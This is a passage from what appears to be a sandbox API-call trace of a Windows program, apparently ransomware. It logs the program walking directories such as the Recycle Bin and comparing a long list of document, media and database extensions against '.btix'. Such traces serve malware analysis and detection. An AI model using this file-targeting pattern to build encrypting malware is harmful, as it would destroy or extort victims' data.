returned -1 [0146.507] lstrlenW (lpString=".frm") returned 4 [0146.507] lstrcmpiW (lpString1=".frm", lpString2="btix") returned -1 [0146.507] lstrlenW (lpString=".fxg") returned 4 [0146.507] lstrcmpiW (lpString1=".fxg", lpString2="btix") returned -1 [0146.507] lstrlenW (lpString=".geo") returned 4 [0146.507] lstrcmpiW (lpString1=".geo", lpString2="btix") returned -1 [0146.507] lstrlenW (lpString=".gif") returned 4 [0146.507] lstrcmpiW (lpString1=".gif", lpString2="btix") returned -1 [0146.507] lstrlenW (lpString=".grs") returned 4 [0146.507] lstrcmpiW (lpString1=".grs", lpString2="btix") returned -1 [0146.507] lstrlenW (lpString=".gz") returned 3 [0146.507] lstrcmpiW (lpString1=".gz", lpString2="tix") returned -1 [0146.507] lstrlenW (lpString=".h") returned 2 [0146.507] lstrcmpiW (lpString1=".h", lpString2="ix") returned -1 [0146.507] lstrlenW (lpString=".hdr") returned 4 [0146.507] lstrcmpiW (lpString1=".hdr", lpString2="btix") returned -1 [0146.507] lstrlenW (lpString=".hpp") returned 4 [0146.507] lstrcmpiW (lpString1=".hpp", lpString2="btix") returned -1 [0146.507] lstrlenW (lpString=".hta") returned 4 [0146.507] lstrcmpiW (lpString1=".hta", lpString2="btix") returned -1 [0146.507] lstrlenW (lpString=".htc") returned 4 [0146.507] lstrcmpiW (lpString1=".htc", lpString2="btix") returned -1 [0146.507] lstrlenW (lpString=".htm") returned 4 [0146.507] lstrcmpiW (lpString1=".htm", lpString2="btix") returned -1 [0146.507] lstrlenW (lpString=".html") returned 5 [0146.507] lstrcmpiW (lpString1=".html", lpString2=".btix") returned 1 [0146.507] lstrlenW (lpString=".icb") returned 4 [0146.507] lstrcmpiW (lpString1=".icb", lpString2="btix") returned -1 [0146.507] lstrlenW (lpString=".ics") returned 4 [0146.507] lstrcmpiW (lpString1=".ics", lpString2="btix") returned -1 [0146.507] lstrlenW (lpString=".iff") returned 4 [0146.508] lstrcmpiW (lpString1=".iff", lpString2="btix") returned -1 [0146.508] lstrlenW (lpString=".inc") returned 4 [0146.508] lstrcmpiW (lpString1=".inc", lpString2="btix") returned -1 [0146.508] lstrlenW (lpString=".indd") returned 5 [0146.508] lstrcmpiW (lpString1=".indd", lpString2=".btix") returned 1 [0146.508] lstrlenW (lpString=".ini") returned 4 [0146.508] lstrcmpiW (lpString1=".ini", lpString2="btix") returned -1 [0146.508] lstrlenW (lpString=".iqy") returned 4 [0146.508] lstrcmpiW (lpString1=".iqy", lpString2="btix") returned -1 [0146.508] lstrlenW (lpString=".j2c") returned 4 [0146.508] lstrcmpiW (lpString1=".j2c", lpString2="btix") returned -1 [0146.508] lstrlenW (lpString=".j2k") returned 4 [0146.508] lstrcmpiW (lpString1=".j2k", lpString2="btix") returned -1 [0146.508] lstrlenW (lpString=".java") returned 5 [0146.508] lstrcmpiW (lpString1=".java", lpString2=".btix") returned 1 [0146.508] lstrlenW (lpString=".jp2") returned 4 [0146.508] lstrcmpiW (lpString1=".jp2", lpString2="btix") returned -1 [0146.508] lstrlenW (lpString=".jpc") returned 4 [0146.508] lstrcmpiW (lpString1=".jpc", lpString2="btix") returned -1 [0146.508] lstrlenW (lpString=".jpe") returned 4 [0146.508] lstrcmpiW (lpString1=".jpe", lpString2="btix") returned -1 [0146.508] lstrlenW (lpString=".jpeg") returned 5 [0146.508] lstrcmpiW (lpString1=".jpeg", lpString2=".btix") returned 1 [0146.508] lstrlenW (lpString=".jpf") returned 4 [0146.508] lstrcmpiW (lpString1=".jpf", lpString2="btix") returned -1 [0146.508] lstrlenW (lpString=".jpg") returned 4 [0146.508] lstrcmpiW (lpString1=".jpg", lpString2="btix") returned -1 [0146.508] lstrlenW (lpString=".jpx") returned 4 [0146.508] lstrcmpiW (lpString1=".jpx", lpString2="btix") returned -1 [0146.508] lstrlenW (lpString=".js") returned 3 [0146.508] lstrcmpiW (lpString1=".js", lpString2="tix") returned -1 [0146.508] lstrlenW (lpString=".jsf") returned 4 [0146.508] lstrcmpiW (lpString1=".jsf", lpString2="btix") returned -1 [0146.508] lstrlenW (lpString=".json") returned 5 [0146.508] lstrcmpiW (lpString1=".json", lpString2=".btix") returned 1 [0146.508] lstrlenW (lpString=".jsp") returned 4 [0146.509] lstrcmpiW (lpString1=".jsp", lpString2="btix") returned -1 [0146.509] lstrlenW (lpString=".kdc") returned 4 [0146.509] lstrcmpiW (lpString1=".kdc", lpString2="btix") returned -1 [0146.509] lstrlenW (lpString=".kmz") returned 4 [0146.509] lstrcmpiW (lpString1=".kmz", lpString2="btix") returned -1 [0146.509] lstrlenW (lpString=".kwm") returned 4 [0146.509] lstrcmpiW (lpString1=".kwm", lpString2="btix") returned -1 [0146.509] lstrlenW (lpString=".lasso") returned 6 [0146.509] lstrcmpiW (lpString1=".lasso", lpString2="].btix") returned -1 [0146.509] lstrlenW (lpString=".lbi") returned 4 [0146.509] lstrcmpiW (lpString1=".lbi", lpString2="btix") returned -1 [0146.509] lstrlenW (lpString=".lgf") returned 4 [0146.509] lstrcmpiW (lpString1=".lgf", lpString2="btix") returned -1 [0146.509] lstrlenW (lpString=".lgp") returned 4 [0146.509] lstrcmpiW (lpString1=".lgp", lpString2="btix") returned -1 [0146.509] lstrlenW (lpString=".log") returned 4 [0146.509] lstrcmpiW (lpString1=".log", lpString2="btix") returned -1 [0146.509] lstrlenW (lpString=".m1v") returned 4 [0146.509] lstrcmpiW (lpString1=".m1v", lpString2="btix") returned -1 [0146.509] lstrlenW (lpString=".m4a") returned 4 [0146.509] lstrcmpiW (lpString1=".m4a", lpString2="btix") returned -1 [0146.509] lstrlenW (lpString=".m4v") returned 4 [0146.509] lstrcmpiW (lpString1=".m4v", lpString2="btix") returned -1 [0146.509] lstrlenW (lpString=".max") returned 4 [0146.509] lstrcmpiW (lpString1=".max", lpString2="btix") returned -1 [0146.509] lstrlenW (lpString=".md") returned 3 [0146.509] lstrcmpiW (lpString1=".md", lpString2="tix") returned -1 [0146.509] lstrlenW (lpString=".mda") returned 4 [0146.509] lstrcmpiW (lpString1=".mda", lpString2="btix") returned -1 [0146.509] lstrlenW (lpString=".mdb") returned 4 [0146.509] lstrcmpiW (lpString1=".mdb", lpString2="btix") returned -1 [0146.509] lstrlenW (lpString=".mde") returned 4 [0146.509] lstrcmpiW (lpString1=".mde", lpString2="btix") returned -1 [0146.509] lstrlenW (lpString=".mdf") returned 4 [0146.509] lstrcmpiW (lpString1=".mdf", lpString2="btix") returned -1 [0146.509] lstrlenW (lpString=".mdw") returned 4 [0146.509] lstrcmpiW (lpString1=".mdw", lpString2="btix") returned -1 [0146.510] lstrlenW (lpString=".mef") returned 4 [0146.510] lstrcmpiW (lpString1=".mef", lpString2="btix") returned -1 [0146.510] lstrlenW (lpString=".mft") returned 4 [0146.510] lstrcmpiW (lpString1=".mft", lpString2="btix") returned -1 [0146.510] lstrlenW (lpString=".mfw") returned 4 [0146.510] lstrcmpiW (lpString1=".mfw", lpString2="btix") returned -1 [0146.510] lstrlenW (lpString=".mht") returned 4 [0146.510] lstrcmpiW (lpString1=".mht", lpString2="btix") returned -1 [0146.510] lstrlenW (lpString=".mhtml") returned 6 [0146.510] lstrcmpiW (lpString1=".mhtml", lpString2="].btix") returned -1 [0146.510] lstrlenW (lpString=".mka") returned 4 [0146.510] lstrcmpiW (lpString1=".mka", lpString2="btix") returned -1 [0146.510] lstrlenW (lpString=".mkidx") returned 6 [0146.510] lstrcmpiW (lpString1=".mkidx", lpString2="].btix") returned -1 [0146.510] lstrlenW (lpString=".mkv") returned 4 [0146.510] lstrcmpiW (lpString1=".mkv", lpString2="btix") returned -1 [0146.510] lstrlenW (lpString=".mos") returned 4 [0146.510] lstrcmpiW (lpString1=".mos", lpString2="btix") returned -1 [0146.510] lstrlenW (lpString=".mov") returned 4 [0146.510] lstrcmpiW (lpString1=".mov", lpString2="btix") returned -1 [0146.510] lstrlenW (lpString=".mp3") returned 4 [0146.510] lstrcmpiW (lpString1=".mp3", lpString2="btix") returned -1 [0146.510] lstrlenW (lpString=".mp4") returned 4 [0146.510] lstrcmpiW (lpString1=".mp4", lpString2="btix") returned -1 [0146.510] lstrlenW (lpString=".mpeg") returned 5 [0146.510] lstrcmpiW (lpString1=".mpeg", lpString2=".btix") returned 1 [0146.510] lstrlenW (lpString=".mpg") returned 4 [0146.510] lstrcmpiW (lpString1=".mpg", lpString2="btix") returned -1 [0146.510] lstrlenW (lpString=".mpv") returned 4 [0146.510] lstrcmpiW (lpString1=".mpv", lpString2="btix") returned -1 [0146.510] lstrlenW (lpString=".mrw") returned 4 [0146.510] lstrcmpiW (lpString1=".mrw", lpString2="btix") returned -1 [0146.510] lstrlenW (lpString=".msg") returned 4 [0146.510] lstrcmpiW (lpString1=".msg", lpString2="btix") returned -1 [0146.510] lstrlenW (lpString=".mxl") returned 4 [0146.510] lstrcmpiW (lpString1=".mxl", lpString2="btix") returned -1 [0146.511] lstrlenW (lpString=".myd") returned 4 [0146.511] lstrcmpiW (lpString1=".myd", lpString2="btix") returned -1 [0146.511] lstrlenW (lpString=".myi") returned 4 [0146.511] lstrcmpiW (lpString1=".myi", lpString2="btix") returned -1 [0146.511] lstrlenW (lpString=".nef") returned 4 [0146.511] lstrcmpiW (lpString1=".nef", lpString2="btix") returned -1 [0146.511] lstrlenW (lpString=".nrw") returned 4 [0146.511] lstrcmpiW (lpString1=".nrw", lpString2="btix") returned -1 [0146.511] lstrlenW (lpString=".obj") returned 4 [0146.511] lstrcmpiW (lpString1=".obj", lpString2="btix") returned -1 [0146.511] lstrlenW (lpString=".odb") returned 4 [0146.511] lstrcmpiW (lpString1=".odb", lpString2="btix") returned -1 [0146.511] lstrlenW (lpString=".odc") returned 4 [0146.511] lstrcmpiW (lpString1=".odc", lpString2="btix") returned -1 [0146.511] lstrlenW (lpString=".odm") returned 4 [0146.511] lstrcmpiW (lpString1=".odm", lpString2="btix") returned -1 [0146.511] lstrlenW (lpString=".odp") returned 4 [0146.511] lstrcmpiW (lpString1=".odp", lpString2="btix") returned -1 [0146.511] lstrlenW (lpString=".ods") returned 4 [0146.511] lstrcmpiW (lpString1=".ods", lpString2="btix") returned -1 [0146.511] lstrlenW (lpString=".oft") returned 4 [0146.511] lstrcmpiW (lpString1=".oft", lpString2="btix") returned -1 [0146.511] lstrlenW (lpString=".one") returned 4 [0146.511] lstrcmpiW (lpString1=".one", lpString2="btix") returned -1 [0146.511] lstrlenW (lpString=".onepkg") returned 7 [0146.511] lstrcmpiW (lpString1=".onepkg", lpString2="i].btix") returned -1 [0146.511] lstrlenW (lpString=".onetoc2") returned 8 [0146.511] lstrcmpiW (lpString1=".onetoc2", lpString2="li].btix") returned -1 [0146.511] lstrlenW (lpString=".opt") returned 4 [0146.511] lstrcmpiW (lpString1=".opt", lpString2="btix") returned -1 [0146.511] lstrlenW (lpString=".oqy") returned 4 [0146.511] lstrcmpiW (lpString1=".oqy", lpString2="btix") returned -1 [0146.511] lstrlenW (lpString=".orf") returned 4 [0146.511] lstrcmpiW (lpString1=".orf", lpString2="btix") returned -1 [0146.511] lstrlenW (lpString=".p12") returned 4 [0146.511] lstrcmpiW (lpString1=".p12", lpString2="btix") returned -1 [0146.511] lstrlenW (lpString=".p7b") returned 4 [0146.512] lstrcmpiW (lpString1=".p7b", lpString2="btix") returned -1 [0146.512] lstrlenW (lpString=".p7c") returned 4 [0146.512] lstrcmpiW (lpString1=".p7c", lpString2="btix") returned -1 [0146.512] lstrlenW (lpString=".pam") returned 4 [0146.512] lstrcmpiW (lpString1=".pam", lpString2="btix") returned -1 [0146.512] lstrlenW (lpString=".pbm") returned 4 [0146.512] lstrcmpiW (lpString1=".pbm", lpString2="btix") returned -1 [0146.512] lstrlenW (lpString=".pct") returned 4 [0146.512] lstrcmpiW (lpString1=".pct", lpString2="btix") returned -1 [0146.512] lstrlenW (lpString=".pcx") returned 4 [0146.512] lstrcmpiW (lpString1=".pcx", lpString2="btix") returned -1 [0146.512] lstrlenW (lpString=".pdd") returned 4 [0146.512] lstrcmpiW (lpString1=".pdd", lpString2="btix") returned -1 [0146.512] lstrlenW (lpString=".pdf") returned 4 [0146.512] lstrcmpiW (lpString1=".pdf", lpString2="btix") returned -1 [0146.512] lstrlenW (lpString=".pdp") returned 4 [0146.512] lstrcmpiW (lpString1=".pdp", lpString2="btix") returned -1 [0146.512] lstrlenW (lpString=".pef") returned 4 [0146.512] lstrcmpiW (lpString1=".pef", lpString2="btix") returned -1 [0146.512] lstrlenW (lpString=".pem") returned 4 [0146.512] lstrcmpiW (lpString1=".pem", lpString2="btix") returned -1 [0146.512] lstrlenW (lpString=".pff") returned 4 [0146.512] lstrcmpiW (lpString1=".pff", lpString2="btix") returned -1 [0146.512] lstrlenW (lpString=".pfm") returned 4 [0146.512] lstrcmpiW (lpString1=".pfm", lpString2="btix") returned -1 [0146.512] lstrlenW (lpString=".pfx") returned 4 [0146.512] lstrcmpiW (lpString1=".pfx", lpString2="btix") returned -1 [0146.512] lstrlenW (lpString=".pgm") returned 4 [0146.512] lstrcmpiW (lpString1=".pgm", lpString2="btix") returned -1 [0146.512] lstrlenW (lpString=".php") returned 4 [0146.512] lstrcmpiW (lpString1=".php", lpString2="btix") returned -1 [0146.512] lstrlenW (lpString=".php3") returned 5 [0146.512] lstrcmpiW (lpString1=".php3", lpString2=".btix") returned 1 [0146.512] lstrlenW (lpString=".php4") returned 5 [0146.512] lstrcmpiW (lpString1=".php4", lpString2=".btix") returned 1 [0146.512] lstrlenW (lpString=".php5") returned 5 [0146.513] lstrcmpiW (lpString1=".php5", lpString2=".btix") returned 1 [0146.513] lstrlenW (lpString=".phtml") returned 6 [0146.513] lstrcmpiW (lpString1=".phtml", lpString2="].btix") returned -1 [0146.513] lstrlenW (lpString=".pict") returned 5 [0146.513] lstrcmpiW (lpString1=".pict", lpString2=".btix") returned 1 [0146.513] lstrlenW (lpString=".pl") returned 3 [0146.513] lstrcmpiW (lpString1=".pl", lpString2="tix") returned -1 [0146.513] lstrlenW (lpString=".pls") returned 4 [0146.513] lstrcmpiW (lpString1=".pls", lpString2="btix") returned -1 [0146.513] lstrlenW (lpString=".pm") returned 3 [0146.513] lstrcmpiW (lpString1=".pm", lpString2="tix") returned -1 [0146.513] lstrlenW (lpString=".png") returned 4 [0146.513] lstrcmpiW (lpString1=".png", lpString2="btix") returned -1 [0146.513] lstrlenW (lpString=".pnm") returned 4 [0146.513] lstrcmpiW (lpString1=".pnm", lpString2="btix") returned -1 [0146.513] lstrlenW (lpString=".pot") returned 4 [0146.513] lstrcmpiW (lpString1=".pot", lpString2="btix") returned -1 [0146.513] lstrlenW (lpString=".potm") returned 5 [0146.513] lstrcmpiW (lpString1=".potm", lpString2=".btix") returned 1 [0146.513] lstrlenW (lpString=".potx") returned 5 [0146.513] lstrcmpiW (lpString1=".potx", lpString2=".btix") returned 1 [0146.513] lstrlenW (lpString=".ppa") returned 4 [0146.513] lstrcmpiW (lpString1=".ppa", lpString2="btix") returned -1 [0146.513] lstrlenW (lpString=".ppam") returned 5 [0146.513] lstrcmpiW (lpString1=".ppam", lpString2=".btix") returned 1 [0146.513] lstrlenW (lpString=".ppm") returned 4 [0146.513] lstrcmpiW (lpString1=".ppm", lpString2="btix") returned -1 [0146.513] lstrlenW (lpString=".pps") returned 4 [0146.513] lstrcmpiW (lpString1=".pps", lpString2="btix") returned -1 [0146.513] lstrlenW (lpString=".ppsm") returned 5 [0146.513] lstrcmpiW (lpString1=".ppsm", lpString2=".btix") returned 1 [0146.513] lstrlenW (lpString=".ppt") returned 4 [0146.513] lstrcmpiW (lpString1=".ppt", lpString2="btix") returned -1 [0146.513] lstrlenW (lpString=".pptm") returned 5 [0146.513] lstrcmpiW (lpString1=".pptm", lpString2=".btix") returned 1 [0146.513] lstrlenW (lpString=".pptx") returned 5 [0146.513] lstrcmpiW (lpString1=".pptx", lpString2=".btix") returned 1 [0146.514] lstrlenW (lpString=".prn") returned 4 [0146.514] lstrcmpiW (lpString1=".prn", lpString2="btix") returned -1 [0146.514] lstrlenW (lpString=".ps") returned 3 [0146.514] lstrcmpiW (lpString1=".ps", lpString2="tix") returned -1 [0146.514] lstrlenW (lpString=".psb") returned 4 [0146.514] lstrcmpiW (lpString1=".psb", lpString2="btix") returned -1 [0146.514] lstrlenW (lpString=".psd") returned 4 [0146.514] lstrcmpiW (lpString1=".psd", lpString2="btix") returned -1 [0146.514] lstrlenW (lpString=".pst") returned 4 [0146.514] lstrcmpiW (lpString1=".pst", lpString2="btix") returned -1 [0146.514] lstrlenW (lpString=".ptx") returned 4 [0146.514] lstrcmpiW (lpString1=".ptx", lpString2="btix") returned -1 [0146.514] lstrlenW (lpString=".pub") returned 4 [0146.514] lstrcmpiW (lpString1=".pub", lpString2="btix") returned -1 [0146.514] lstrlenW (lpString=".pwm") returned 4 [0146.514] lstrcmpiW (lpString1=".pwm", lpString2="btix") returned -1 [0146.514] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.514] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.514] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0 [0146.514] FindClose (in: hFindFile=0x6c1ae0 | out: hFindFile=0x6c1ae0) returned 1 [0146.515] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.515] FindNextFileW (in: hFindFile=0x6c1660, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.515] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x4190940 [0146.515] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0x6c14a0 [0146.516] FindNextFileW (in: hFindFile=0x6c14a0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.516] FindNextFileW (in: hFindFile=0x6c14a0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.516] FindNextFileW (in: hFindFile=0x6c14a0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.516] FindNextFileW (in: hFindFile=0x6c14a0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.516] FindNextFileW (in: hFindFile=0x6c14a0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.516] FindNextFileW (in: hFindFile=0x6c14a0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.516] FindNextFileW (in: hFindFile=0x6c14a0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0 [0146.516] FindClose (in: hFindFile=0x6c14a0 | out: hFindFile=0x6c14a0) returned 1 [0146.517] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.517] FindNextFileW (in: hFindFile=0x6c1660, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 0 [0146.517] FindClose (in: hFindFile=0x6c1660 | out: hFindFile=0x6c1660) returned 1 [0146.517] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4180938 | out: hHeap=0x660000) returned 1 [0146.517] FindNextFileW (in: hFindFile=0x6c1aa0, lpFindFileData=0x38dfcf8 | out: lpFindFileData=0x38dfcf8) returned 1 [0146.517] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x4180938 [0146.517] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 0x6c1920 [0146.517] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.517] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.517] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x4190940 [0146.517] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0x6c1520 [0146.517] FindNextFileW (in: hFindFile=0x6c1520, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.518] FindNextFileW (in: hFindFile=0x6c1520, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.518] FindNextFileW (in: hFindFile=0x6c1520, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0 [0146.518] FindClose (in: hFindFile=0x6c1520 | out: hFindFile=0x6c1520) returned 1 [0146.518] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.518] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.518] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x4190940 [0146.518] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0x6c14e0 [0146.518] FindNextFileW (in: hFindFile=0x6c14e0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.518] FindNextFileW (in: hFindFile=0x6c14e0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.518] FindNextFileW (in: hFindFile=0x6c14e0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.518] FindNextFileW (in: hFindFile=0x6c14e0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0 [0146.518] FindClose (in: hFindFile=0x6c14e0 | out: hFindFile=0x6c14e0) returned 1 [0146.518] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.518] FindNextFileW (in: hFindFile=0x6c1920, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 0 [0146.518] FindClose (in: hFindFile=0x6c1920 | out: hFindFile=0x6c1920) returned 1 [0146.518] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4180938 | out: hHeap=0x660000) returned 1 [0146.519] FindNextFileW (in: hFindFile=0x6c1aa0, lpFindFileData=0x38dfcf8 | out: lpFindFileData=0x38dfcf8) returned 1 [0146.519] FindNextFileW (in: hFindFile=0x6c1aa0, lpFindFileData=0x38dfcf8 | out: lpFindFileData=0x38dfcf8) returned 1 [0146.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x4180938 [0146.520] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 0x6c1ae0 [0146.520] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.520] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x4190940 [0146.520] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0x6c1b60 [0146.521] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.521] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.521] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.521] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.521] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0 [0146.521] FindClose (in: hFindFile=0x6c1b60 | out: hFindFile=0x6c1b60) returned 1 [0146.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.522] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x4190940 [0146.522] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0x6c1b20 [0146.523] FindNextFileW (in: hFindFile=0x6c1b20, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.523] FindNextFileW (in: hFindFile=0x6c1b20, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.523] FindNextFileW (in: hFindFile=0x6c1b20, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.523] FindNextFileW (in: hFindFile=0x6c1b20, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.523] FindNextFileW (in: hFindFile=0x6c1b20, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0 [0146.523] FindClose (in: hFindFile=0x6c1b20 | out: hFindFile=0x6c1b20) returned 1 [0146.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.524] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x4190940 [0146.524] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0x6c1660 [0146.525] FindNextFileW (in: hFindFile=0x6c1660, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.525] FindNextFileW (in: hFindFile=0x6c1660, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.525] FindNextFileW (in: hFindFile=0x6c1660, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.525] FindNextFileW (in: hFindFile=0x6c1660, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.525] FindNextFileW (in: hFindFile=0x6c1660, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0 [0146.525] FindClose (in: hFindFile=0x6c1660 | out: hFindFile=0x6c1660) returned 1 [0146.525] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.526] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.526] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x4190940 [0146.526] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0x6c1820 [0146.526] FindNextFileW (in: hFindFile=0x6c1820, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.526] FindNextFileW (in: hFindFile=0x6c1820, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.526] FindNextFileW (in: hFindFile=0x6c1820, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.526] FindNextFileW (in: hFindFile=0x6c1820, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.527] FindNextFileW (in: hFindFile=0x6c1820, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0 [0146.527] FindClose (in: hFindFile=0x6c1820 | out: hFindFile=0x6c1820) returned 1 [0146.527] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4190940 | out: hHeap=0x660000) returned 1 [0146.527] FindNextFileW (in: hFindFile=0x6c1ae0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c) returned 1 [0146.527] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x4190940 [0146.527] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0x6c1b60 [0146.592] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.592] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.592] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.592] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 1 [0146.592] FindNextFileW (in: hFindFile=0x6c1b60, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800) returned 0 [0146.592] FindClose (in: hFindFile=0x6c1b60 | out: hFindFile=0x6c1b60) returned 1 [0146.592] HeapFree (in: hHeap=0x660000, 